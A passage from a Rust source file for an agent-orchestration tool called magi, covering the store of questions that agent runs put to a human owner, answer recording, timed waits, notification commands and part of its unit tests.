1631 || crate::task_inquiry::Outbox::at(home)
1632 .get(id)
1633 .is_ok_and(|record| {
1634 record.decision.is_some_and(|d| {
1635 d.legacy_settled
1636 && d.status == crate::task_decision::Status::Resolved
1637 })
1638 })
1639 })
1640 })
1641 }
1642
1643 fn consumption_view(&self, q: Question) -> Question {
1647 let migrated = self
1648 .root
1649 .parent()
1650 .is_some_and(|home| crate::task_chat::migrated_source(home, &q.id));
1651 self.consumption_view_in(q, migrated)
1652 }
1653
1654 fn consumption_view_in(&self, mut q: Question, migrated: bool) -> Question {
1655 if self.root.parent().is_some_and(|home| {
1656 crate::task_inquiry::Outbox::at(home)
1657 .get(&q.id)
1658 .is_ok_and(|record| {
1659 record.decision.is_some_and(|d| {
1660 d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1661 })
1662 })
1663 }) {
1664 q.answer = None;
1668 q.answered_at = None;
1669 q.answer_authority = None;
1670 q.status = QuestionStatus::Open;
1671 return q;
1672 }
1673 if let Some(home) = self.root.parent()
1674 && migrated
1675 && !crate::task_chat::standalone_inquiry(home, &q)
1676 && crate::task_chat::source_reply_needs_confirmation(home, &q)
1677 {
1678 let saved = q.resolution().unwrap_or_default();
1679 q.detail.push_str(&format!(
1680 "\n\nSaved reply (history only; no new owner request): {saved}"
1681 ));
1682 q.answer = None;
1683 q.answered_at = None;
1684 q.answer_authority = None;
1685 q.status = QuestionStatus::Open;
1688 }
1689 q
1690 }
1691
1692 fn with_repair_choice(&self, mut q: Question) -> Question {
1693 if q.status.open()
1696 && q.merge_target.is_none()
1697 && let Some(home) = self.root.parent()
1698 && let Some(target) = crate::release_watch::approval_target(home, &q)
1699 && let Ok((current, ())) = self.update(&q.id, |current| {
1700 if current.status.open() && current.merge_target.is_none() {
1701 current.merge_target = Some(target.clone());
1702 }
1703 Ok(())
1704 })
1705 {
1706 q = current;
1707 }
1708 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1709 && q.node == crate::land::APPROVAL_NODE
1710 && !self.held_reply(&q.id)
1711 && let Some(home) = self.root.parent()
1712 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1713 {
1714 let mut upgraded = q.clone();
1715 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1716 match self.update(&q.id, |current| {
1717 crate::land::upgrade_repair_choice(current, &state);
1718 Ok(())
1719 }) {
1720 Ok((current, ())) => return current,
1721 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1722 }
1723 }
1724 }
1725 q
1726 }
1727
1728 pub fn list(&self) -> Vec<Question> {
1736 self.list_view(false)
1737 }
1738
1739 pub fn list_for_effects(&self) -> Vec<Question> {
1741 self.list_view(true)
1742 }
1743
1744 fn list_view(&self, effects: bool) -> Vec<Question> {
1745 let sources = self.root.parent().map(crate::task_chat::migration_sources);
1747 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1748 .into_iter()
1749 .flatten()
1750 .flatten()
1751 .map(|e| e.path())
1752 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1753 .filter_map(|p| read_path(&p).ok())
1754 .map(|q| {
1755 let migrated = match &sources {
1756 Some(Ok(Some(ids))) => ids.contains(&q.id),
1757 Some(_) => true,
1758 None => false,
1759 };
1760 let q = self.with_repair_choice(q);
1761 if effects {
1762 self.consumption_view_in(q, migrated)
1763 } else {
1764 q
1765 }
1766 })
1767 .collect();
1768 all.sort_unstable_by(|a, b| {
1769 let rank = |q: &Question| u8::from(!q.status.open());
1770 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1771 });
1772 all
1773 }
1774
1775 pub(crate) fn snapshot(&self) -> Result<Vec<Question>> {
1779 let entries = match std::fs::read_dir(&self.root) {
1780 Ok(entries) => entries,
1781 Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(Vec::new()),
1782 Err(error) => return Err(error).context("inspect pending questions"),
1783 };
1784 let mut questions = Vec::new();
1785 for entry in entries {
1786 let path = entry?.path();
1787 if path.extension().is_some_and(|ext| ext == "json") {
1788 questions.push(read_path(&path)?);
1789 }
1790 }
1791 Ok(questions)
1792 }
1793
1794 pub fn open_for(&self, run: &str) -> Vec<Question> {
1800 self.list_for_effects()
1801 .into_iter()
1802 .filter(|q| q.status.open() && q.run == run)
1803 .collect()
1804 }
1805
1806 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1819 let mut abandoned = 0;
1820 for mut q in self.open_for(run) {
1821 if self.held_reply(&q.id) {
1822 continue;
1823 }
1824 q.abandon(why);
1825 self.put(&mut q)?;
1826 abandoned += 1;
1827 }
1828 Ok(abandoned)
1829 }
1830
1831 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1855 if status.resumable() {
1856 return Ok(0);
1857 }
1858 let why = format!(
1859 "run {run} {}, so nothing is waiting for this answer",
1860 status.as_str()
1861 );
1862 let mut abandoned = 0;
1867 for mut q in self.open_for(run) {
1868 if self.held_reply(&q.id) || q.node == crate::bump::NOTICE_NODE {
1869 continue;
1870 }
1871 if q.routed_task.is_some() && q.routed_chat.is_none() {
1875 continue;
1876 }
1877 q.abandon(&why);
1878 self.put(&mut q)?;
1879 abandoned += 1;
1880 }
1881 Ok(abandoned)
1882 }
1883
1884 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1887 use crate::queue::{Reference, record_ids, resolve_reference};
1888 let ids = record_ids(&self.root, "json")?;
1889 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1890 Reference::Found(id) => Ok(id),
1891 Reference::Missing => bail!("no question matches `{prefix}`"),
1892 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1893 }
1894 }
1895
1896 pub fn revision(&self) -> u64 {
1900 std::fs::read_dir(&self.root)
1901 .into_iter()
1902 .flatten()
1903 .flatten()
1904 .filter_map(|e| e.metadata().ok())
1905 .filter_map(|m| m.modified().ok())
1906 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1907 .map(|d| d.as_millis() as u64)
1908 .max()
1909 .unwrap_or(0)
1910 }
1911
1912 pub fn count_open(&self) -> usize {
1918 self.list().iter().filter(|q| q.status.open()).count()
1919 }
1920
1921 pub fn count_needs_owner(&self) -> usize {
1930 self.list()
1931 .iter()
1932 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1933 .count()
1934 }
1935
1936 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1940 q.status.open()
1941 && q.deputy
1942 .as_ref()
1943 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1944 && !self
1945 .read_lease(&q.id)
1946 .is_some_and(|l| l.fresh(Timestamp::now()))
1947 }
1948}
1949
1950#[derive(Debug, Clone, PartialEq, Eq)]
1952pub enum Wait {
1953 Answered(String),
1955 Replied(String),
1960 Pending,
1967 Abandoned,
1972}
1973
1974pub async fn ask_and_wait(
1981 q: &mut Question,
1982 store: &Questions,
1983 notify: &config::Notify,
1984 timeout: Duration,
1985) -> Result<Wait> {
1986 wait_for_owner(q, store, notify, timeout, POLL).await
1987}
1988
1989pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
2004 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
2005}
2006
2007async fn wait_for_owner(
2013 q: &mut Question,
2014 store: &Questions,
2015 cfg: &config::Notify,
2016 timeout: Duration,
2017 poll: Duration,
2018) -> Result<Wait> {
2019 if !store.path_of(&q.id).is_file() {
2023 store.put(q).context("file the question")?;
2024 }
2025 if q.should_notify(Timestamp::now()) {
2026 if let Err(e) = notify(cfg, q).await {
2027 tracing::warn!(
2032 "could not notify about question {}: {e:#} - the web UI is the \
2033 only surface for it now",
2034 q.short()
2035 );
2036 }
2037 }
2038 tracing::info!(
2039 "question {} from {} is waiting for you: {}",
2040 q.short(),
2041 q.seat,
2042 q.summary
2043 );
2044 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
2045}
2046
2047fn hold(store: &Questions, id: &str) {
2049 store.beat(id, WaiterKind::Asker);
2050 let took = store.update(id, |q| {
2051 if q.status.open() {
2052 q.waiter = Some(Waiter {
2053 kind: WaiterKind::Asker,
2054 since: Timestamp::now(),
2055 });
2056 }
2057 Ok(())
2058 });
2059 if let Err(e) = took {
2060 tracing::debug!("could not note the wait on question {id}: {e:#}");
2061 }
2062}
2063
2064pub fn record_answer(
2075 store: &Questions,
2076 id: &str,
2077 reply: &str,
2078 title: Option<&str>,
2079) -> Result<String> {
2080 let home = store
2081 .root()
2082 .parent()
2083 .context("questions have no state home")?;
2084 let queue = crate::queue::Queue::at(home.join("queue"));
2085 let question = store.get(id)?;
2086 let _claims = crate::chat_control::decision_claims(&queue, &question)?;
2087 let (q, ()) = store.update(id, |r| {
2088 let answer = if r.free_text() {
2089 Answer::Text(reply.to_owned())
2090 } else {
2091 Answer::Choice(r.resolve_reply(reply)?.to_owned())
2092 };
2093 let replacement = r.node == crate::github_text::ASK_NODE
2094 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
2095 if replacement {
2096 let title =
2097 title.context("use my text needs --title with the literal replacement title")?;
2098 if title.trim().is_empty() {
2099 bail!("replacement title must not be empty");
2100 }
2101 r.publication_title = Some(title.to_owned());
2102 } else if title.is_some() {
2103 bail!("--title is only valid for a publication decision's `use my text` choice");
2104 }
2105 r.answer(answer)
2106 })?;
2107 let mut out = format!("answered {} {}", q.short(), q.summary);
2108 let resolution = q.resolution();
2109 let approval = q.node == crate::land::APPROVAL_NODE;
2110 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
2111 out.push_str(
2112 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
2113 );
2114 }
2115 if approval
2116 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
2117 && resolution
2118 .as_deref()
2119 .is_some_and(crate::merge_decision::stops)
2120 {
2121 out.push_str(&format!(
2122 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
2123 q.run
2124 ));
2125 }
2126 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
2127 out.push_str(&format!(
2128 "\nRepair requested; this answer command has not started repair or approved a merge. \
2129 A running magi serve / magi web resumes the existing run. Without one, \
2130 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
2131 q.run
2132 ));
2133 }
2134 Ok(out)
2135}
2136
2137pub fn hand_over(store: &Questions, q: &mut Question) {
2145 let done = store.update(&q.id, |r| {
2146 r.delivered_turns = r.delivered_turns.max(q.thread.len());
2147 if r.status == QuestionStatus::Answered {
2148 r.answer_delivered = true;
2149 }
2150 r.waiter = None;
2151 Ok(())
2152 });
2153 match done {
2154 Ok((fresh, ())) => *q = fresh,
2155 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
2156 }
2157}
2158
2159pub fn answer_for_agent(q: &Question, answer: &str) -> String {
2163 let says = q.undelivered_owner_turns();
2164 if says.is_empty() {
2165 return answer.to_owned();
2166 }
2167 format!(
2168 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
2169 says.join("\n\n")
2170 )
2171}
2172
2173pub fn deliver_answer(
2176 store: &Questions,
2177 q: &mut Question,
2178 answer: &str,
2179 out: &mut impl std::io::Write,
2180) -> std::io::Result<()> {
2181 writeln!(out, "{}", answer_for_agent(q, answer))?;
2182 out.flush()?;
2183 hand_over(store, q);
2184 Ok(())
2185}
2186
2187async fn wait_loop(
2197 q: &mut Question,
2198 store: &Questions,
2199 timeout: Duration,
2200 slice: Duration,
2201 poll: Duration,
2202) -> Result<Wait> {
2203 if store.held_reply(&q.id) {
2204 return Ok(Wait::Pending);
2205 }
2206 if let Some(said) = q.unread_from_owner() {
2216 return Ok(Wait::Replied(said));
2217 }
2218 hold(store, &q.id);
2219
2220 let bounded = timeout.min(slice);
2221 let is_the_real_deadline = bounded >= timeout;
2222 let deadline = tokio::time::Instant::now() + bounded;
2223 loop {
2224 let now = tokio::time::Instant::now();
2225 if now >= deadline {
2226 if store.held_reply(&q.id) || !is_the_real_deadline {
2227 return Ok(Wait::Pending);
2231 }
2232 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2233 let (fresh, unread) = store
2237 .update(&q.id, |r| {
2238 let unread = r.unread_from_owner();
2239 if unread.is_none() {
2240 r.abandon(&why);
2241 r.waiter = None;
2242 }
2243 Ok(unread)
2244 })
2245 .context("record the abandoned question")?;
2246 *q = fresh;
2247 if let Some(said) = unread {
2248 return Ok(Wait::Replied(said));
2249 }
2250 tracing::warn!(
2251 "question {} went unanswered for {}s; the run parks and the \
2252 question stays as the record of it",
2253 q.short(),
2254 timeout.as_secs()
2255 );
2256 return Ok(Wait::Abandoned);
2257 }
2258 tokio::time::sleep(poll.min(deadline - now)).await;
2259 store.beat(&q.id, WaiterKind::Asker);
2260 match store.get_for_effects(&q.id) {
2261 Ok(fresh) if !fresh.status.open() => {
2262 *q = fresh;
2266 return Ok(match q.resolution() {
2267 Some(a) => Wait::Answered(a),
2268 None => Wait::Abandoned,
2271 });
2272 }
2273 Ok(fresh) => {
2274 if let Some(said) = fresh.unread_from_owner() {
2275 *q = fresh;
2276 return Ok(Wait::Replied(said));
2277 }
2278 }
2281 Err(e) => {
2282 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2286 }
2287 }
2288 }
2289}
2290
2291pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2302 if q.routed_task.is_some() {
2303 return Ok(());
2304 }
2305 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2306 if q.status.open() {
2307 summary.push_str(&format!(
2308 " Respond in Questions or with `magi answer {}`.",
2309 q.id
2310 ));
2311 }
2312 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2313 notify_at(cmd, &q.run, &summary, &url).await
2314}
2315
2316pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2319 let url = view_url(
2320 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2321 "notifications",
2322 );
2323 notify_at(cmd, run, summary, &url).await
2324}
2325
2326async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2327 let Some((program, args)) = cmd.command.split_first() else {
2328 return Ok(());
2330 };
2331 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2332 tracing::warn!(
2333 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2334 so the link will be empty - export it next to `magi serve` with \
2335 the address `magi web --open` printed"
2336 );
2337 }
2338 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2339 tracing::debug!(program = %program, args = ?argv, "notifying");
2340
2341 let mut child = tokio::process::Command::new(program);
2342 child.quiet();
2343 child
2344 .args(&argv)
2345 .stdin(std::process::Stdio::null())
2346 .kill_on_drop(true);
2349 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2350 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2351 Err(_) => bail!(
2352 "notification command `{program}` did not finish within {}s",
2353 NOTIFY_TIMEOUT.as_secs()
2354 ),
2355 };
2356 if !out.status.success() {
2357 let stderr = String::from_utf8_lossy(&out.stderr);
2358 let why = stderr
2359 .lines()
2360 .rev()
2361 .find(|l| !l.trim().is_empty())
2362 .unwrap_or("no output on stderr")
2363 .trim();
2364 bail!(
2365 "notification command `{program}` exited with {}: {why}",
2366 out.status
2367 );
2368 }
2369 Ok(())
2370}
2371
2372fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2378 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2379 let mut out = String::with_capacity(template.len());
2380 let mut rest = template;
2381 while let Some(at) = rest.find('{') {
2382 out.push_str(&rest[..at]);
2383 let tail = &rest[at..];
2384 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2385 Some((token, value)) => {
2386 out.push_str(value);
2387 rest = &tail[token.len()..];
2388 }
2389 None => {
2390 out.push('{');
2392 rest = &tail[1..];
2393 }
2394 }
2395 }
2396 out.push_str(rest);
2397 out
2398}
2399
2400fn question_url(base: &str) -> String {
2407 view_url(base, "questions")
2408}
2409
2410fn view_url(base: &str, view: &str) -> String {
2411 let base = base.trim().trim_end_matches('/');
2412 if base.is_empty() || base.contains('#') {
2413 return base.to_owned();
2414 }
2415 format!("{base}/#/{view}")
2416}
2417
2418fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2423 let index = dir.join(PANEL_HTML);
2424 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2425 for (name, src) in assets {
2426 let dst = dir.join(name);
2427 std::fs::copy(src, &dst)
2428 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2429 }
2430 Ok(())
2431}
2432
2433fn clear_dir(path: &Path) -> Result<()> {
2438 match std::fs::remove_dir_all(path) {
2439 Ok(()) => Ok(()),
2440 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2441 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2442 }
2443}
2444
2445fn read_path(path: &Path) -> Result<Question> {
2446 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2447 let q: Question =
2448 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2449 if q.schema > SCHEMA {
2450 bail!(
2455 "question {} was written by a newer magi (schema {}, this build \
2456 only speaks up to {SCHEMA})",
2457 q.id,
2458 q.schema
2459 );
2460 }
2461 Ok(q)
2462}
2463
2464pub fn short_id(id: &str) -> &str {
2466 short(id)
2467}
2468
2469fn short(id: &str) -> &str {
2470 id.split('-').next_back().unwrap_or(id)
2471}
2472
2473fn new_id() -> String {
2474 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2475 new_id_at(&stamp.to_string(), crate::rng::entropy())
2476}
2477
2478fn new_id_at(stamp: &str, seed: u64) -> String {
2479 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2484 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2485 format!(
2486 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2487 (seed ^ (seed >> 32)) & 0xffff
2488 )
2489}
2490
2491#[cfg(test)]
2492mod tests {
2493 use super::*;
2494
2495 fn store() -> (tempfile::TempDir, Questions) {
2498 let dir = tempfile::tempdir().unwrap();
2499 let s = Questions::at(dir.path().join("questions"));
2500 (dir, s)
2501 }
2502
2503 #[test]
2504 fn run_names_task_only_for_task_questions() {
2505 for (node, want) in [
2506 (crate::conduct::NODE, true),
2507 (crate::triage::NODE, true),
2508 (crate::triage::DEPS_NODE, true),
2509 (crate::land::APPROVAL_NODE, false),
2510 (crate::bump::NOTICE_NODE, false),
2511 ("implement", false),
2512 ] {
2513 let mut q = choice_question();
2514 q.node = node.to_owned();
2515 assert_eq!(q.run_names_task(), want, "{node}");
2516 }
2517 }
2518
2519 #[test]
2520 fn deleting_a_run_stops_its_questions_asking() {
2521 let (_dir, store) = store();
2522
2523 let mut open_one = choice_question();
2524 store.put(&mut open_one).unwrap();
2525 let mut answered = free_question();
2526 answered
2527 .answer(Answer::Text("keep this".to_owned()))
2528 .unwrap();
2529 store.put(&mut answered).unwrap();
2530 let mut elsewhere = choice_question();
2531 elsewhere.run = "20260903-105039-3cbf".to_owned();
2532 store.put(&mut elsewhere).unwrap();
2533
2534 let n = store
2535 .abandon_for_run(&open_one.run, "run was deleted")
2536 .unwrap();
2537 assert_eq!(n, 1, "only the open question of that run");
2538
2539 let back = store.get(&open_one.id).unwrap();
2540 assert!(!back.status.open(), "it no longer asks for a decision");
2541 assert!(
2542 back.detail.contains("run was deleted"),
2543 "the operator can see why: {}",
2544 back.detail
2545 );
2546
2547 let kept = store.get(&answered.id).unwrap();
2548 assert_eq!(
2549 kept.status,
2550 QuestionStatus::Answered,
2551 "an answered question is a decision on record, not something to revoke"
2552 );
2553 assert!(
2554 store.get(&elsewhere.id).unwrap().status.open(),
2555 "another run's question is untouched"
2556 );
2557 assert!(store.open_for(&open_one.run).is_empty());
2558 }
2559
2560 #[test]
2561 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2562 let (_dir, store) = store();
2563 let mut q = choice_question();
2564 store.put(&mut q).unwrap();
2565
2566 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2568 assert_eq!(n, 0);
2569 assert!(store.get(&q.id).unwrap().status.open());
2570
2571 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2574 assert_eq!(n, 1);
2575 let back = store.get(&q.id).unwrap();
2576 assert!(!back.status.open());
2577 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2578
2579 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2581 }
2582
2583 #[test]
2584 fn settle_run_keeps_an_undelivered_routed_decision() {
2585 let (_dir, store) = store();
2586 let mut q = choice_question();
2587 q.routed_task = Some("task".into());
2588 store.put(&mut q).unwrap();
2589 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2590 assert!(store.get(&q.id).unwrap().status.open());
2591
2592 store
2594 .update(&q.id, |r| {
2595 r.routed_chat = Some("chat".into());
2596 Ok(())
2597 })
2598 .unwrap();
2599 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2600 }
2601
2602 fn choice_question() -> Question {
2603 Question::new(
2604 "20260902-201256-9fb7".to_owned(),
2605 "implement".to_owned(),
2606 "impl-A".to_owned(),
2607 "Which storage backend should the cache use?".to_owned(),
2608 "Both are already dependencies.".to_owned(),
2609 vec!["SQLite".to_owned(), "Redis".to_owned()],
2610 )
2611 }
2612
2613 fn free_question() -> Question {
2614 Question::new(
2615 "20260902-201256-9fb7".to_owned(),
2616 "review".to_owned(),
2617 "rev-1".to_owned(),
2618 "What should the error message say?".to_owned(),
2619 String::new(),
2620 Vec::new(),
2621 )
2622 }
2623
2624 fn quiet() -> config::Notify {
2626 config::Notify::default()
2627 }
2628
2629 #[test]
2630 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2631 let mut q = choice_question();
2635 q.id = "20260902-231501-ab12".to_owned();
2636 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2637 let keys: Vec<&str> = open
2641 .as_object()
2642 .unwrap()
2643 .keys()
2644 .map(String::as_str)
2645 .collect();
2646 assert_eq!(
2647 keys,
2648 [
2649 "actions",
2650 "answer",
2651 "answer_delivered",
2652 "answer_timeout",
2653 "answered_at",
2654 "asked_at",
2655 "assets",
2656 "choices",
2657 "consult",
2658 "cwd",
2659 "decision_context",
2660 "delivered_turns",
2661 "deputy",
2662 "detail",
2663 "id",
2664 "merge_target",
2665 "node",
2666 "panel",
2667 "routed_chat",
2668 "routed_task",
2669 "run",
2670 "schema",
2671 "seat",
2672 "status",
2673 "summary",
2674 "thread",
2675 "triage_generation",
2676 "waiter",
2677 ],
2678 "the on-disk field set is a contract with the front end"
2679 );
2680 assert_eq!(open["schema"], 13);
2681 assert_eq!(open["merge_target"], serde_json::Value::Null);
2682 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2683 assert_eq!(open["thread"], serde_json::json!([]));
2684 assert_eq!(open["id"], "20260902-231501-ab12");
2685 assert_eq!(open["run"], "20260902-201256-9fb7");
2686 assert_eq!(open["node"], "implement");
2687 assert_eq!(open["seat"], "impl-A");
2688 assert_eq!(open["status"], "open");
2689 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2690 assert_eq!(open["answered_at"], serde_json::Value::Null);
2691 assert_eq!(open["answer"], serde_json::Value::Null);
2692 let asked = open["asked_at"].as_str().unwrap();
2693 assert!(
2694 asked.ends_with('Z') && asked.contains('T'),
2695 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2696 );
2697
2698 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2700 let answered = serde_json::to_value(&q).unwrap();
2701 assert_eq!(answered["status"], "answered");
2702 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2703 assert!(answered["answered_at"].is_string());
2704
2705 let mut free = free_question();
2707 free.answer(Answer::Text("Say which file it was".to_owned()))
2708 .unwrap();
2709 assert_eq!(
2710 serde_json::to_value(&free).unwrap()["answer"],
2711 serde_json::json!({"text": "Say which file it was"})
2712 );
2713
2714 let body = serde_json::to_string(&q).unwrap();
2716 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2717 }
2718
2719 #[test]
2720 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2721 let (_dir, store) = store();
2722 let mut q = approval_question();
2723 q.merge_target = Some(crate::merge_decision::Target {
2724 pr: "https://github.com/example/repo/pull/42".into(),
2725 head: "reviewed-head".into(),
2726 language: "ja".into(),
2727 });
2728 store.put(&mut q).unwrap();
2729 let saved = store.get(&q.id).unwrap();
2730 assert_eq!(saved, q);
2731 let mut body = serde_json::to_value(&saved).unwrap();
2732 assert_eq!(body["schema"], 13);
2733 assert_eq!(
2734 body["merge_target"],
2735 serde_json::json!({
2736 "pr": "https://github.com/example/repo/pull/42",
2737 "head": "reviewed-head",
2738 "language": "ja"
2739 })
2740 );
2741
2742 body["schema"] = serde_json::json!(10);
2745 body.as_object_mut().unwrap().remove("merge_target");
2746 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2747 let legacy = store.get(&q.id).unwrap();
2748 assert_eq!(legacy.schema, 10);
2749 assert!(legacy.merge_target.is_none());
2750 assert_eq!(legacy.choices, q.choices);
2751 assert_eq!(legacy.status, q.status);
2752 }
2753
2754 #[test]
2755 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2756 let mut unoffered = choice_question();
2759 let a = unoffered
2760 .answer(Answer::Choice("Postgres".to_owned()))
2761 .unwrap_err()
2762 .to_string();
2763
2764 let mut typed = choice_question();
2765 let b = typed
2766 .answer(Answer::Text("use Postgres".to_owned()))
2767 .unwrap_err()
2768 .to_string();
2769
2770 let mut blank = free_question();
2771 let c = blank
2772 .answer(Answer::Text(" \n".to_owned()))
2773 .unwrap_err()
2774 .to_string();
2775
2776 let mut twice = choice_question();
2777 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2778 let d = twice
2779 .answer(Answer::Choice("Redis".to_owned()))
2780 .unwrap_err()
2781 .to_string();
2782
2783 assert!(a.contains("not one of the choices"), "{a}");
2784 assert!(b.contains("multiple choice"), "{b}");
2785 assert!(c.contains("empty"), "{c}");
2786 assert!(d.contains("already answered"), "{d}");
2787 let mut distinct = vec![a, b, c, d];
2788 let asked = distinct.len();
2789 distinct.sort_unstable();
2790 distinct.dedup();
2791 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2792
2793 assert_eq!(unoffered.status, QuestionStatus::Open);
2795 assert_eq!(typed.status, QuestionStatus::Open);
2796 assert_eq!(blank.status, QuestionStatus::Open);
2797 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2799
2800 let mut free = free_question();
2802 let e = free
2803 .answer(Answer::Choice("SQLite".to_owned()))
2804 .unwrap_err()
2805 .to_string();
2806 assert!(e.contains("free text"), "{e}");
2807 }
2808
2809 #[test]
2810 fn open_questions_are_listed_before_answered_ones() {
2811 let (_dir, s) = store();
2812 let mut old_open = choice_question();
2815 old_open.id = "20260101-000001-aaaa".to_owned();
2816 let mut new_open = choice_question();
2817 new_open.id = "20260101-000002-bbbb".to_owned();
2818 let mut answered = choice_question();
2819 answered.id = "20260101-000003-cccc".to_owned();
2820 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2821 for q in [&mut old_open, &mut new_open, &mut answered] {
2822 s.put(q).unwrap();
2823 }
2824
2825 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2826 assert_eq!(
2827 ids,
2828 [
2829 "20260101-000002-bbbb",
2830 "20260101-000001-aaaa",
2831 "20260101-000003-cccc"
2832 ],
2833 "what has stopped work comes first; history sorts underneath"
2834 );
2835 assert_eq!(s.count_open(), 2);
2836 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2837 assert!(s.open_for("some-other-run").is_empty());
2838 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2840 assert!(s.get("20260101-000002-bbbb").is_ok());
2841 assert!(s.resolve_id("nope").is_err());
2842 assert!(
2843 s.revision() > 0,
2844 "the store's mtime drives the phone's polling"
2845 );
2846 }
2847
2848 #[test]
2849 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2850 let (_dir, s) = store();
2851 let mut good = choice_question();
2852 s.put(&mut good).unwrap();
2853 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2855 let future = serde_json::json!({
2856 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2857 "seat": "s", "summary": "?", "detail": "", "choices": [],
2858 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2859 "answered_at": null, "answer": null,
2860 });
2861 std::fs::write(
2862 s.path_of("20260101-000010-beef"),
2863 serde_json::to_string(&future).unwrap(),
2864 )
2865 .unwrap();
2866
2867 let listed = s.list();
2868 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2869 assert_eq!(listed[0].id, good.id);
2870 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2872 assert!(e.contains("schema"), "{e}");
2873 }
2874
2875 #[tokio::test]
2876 async fn the_wait_returns_the_answer_another_process_wrote() {
2877 let (dir, s) = store();
2882 let mut q = choice_question();
2883 let id = q.id.clone();
2884 let writer = Questions::at(dir.path().join("questions"));
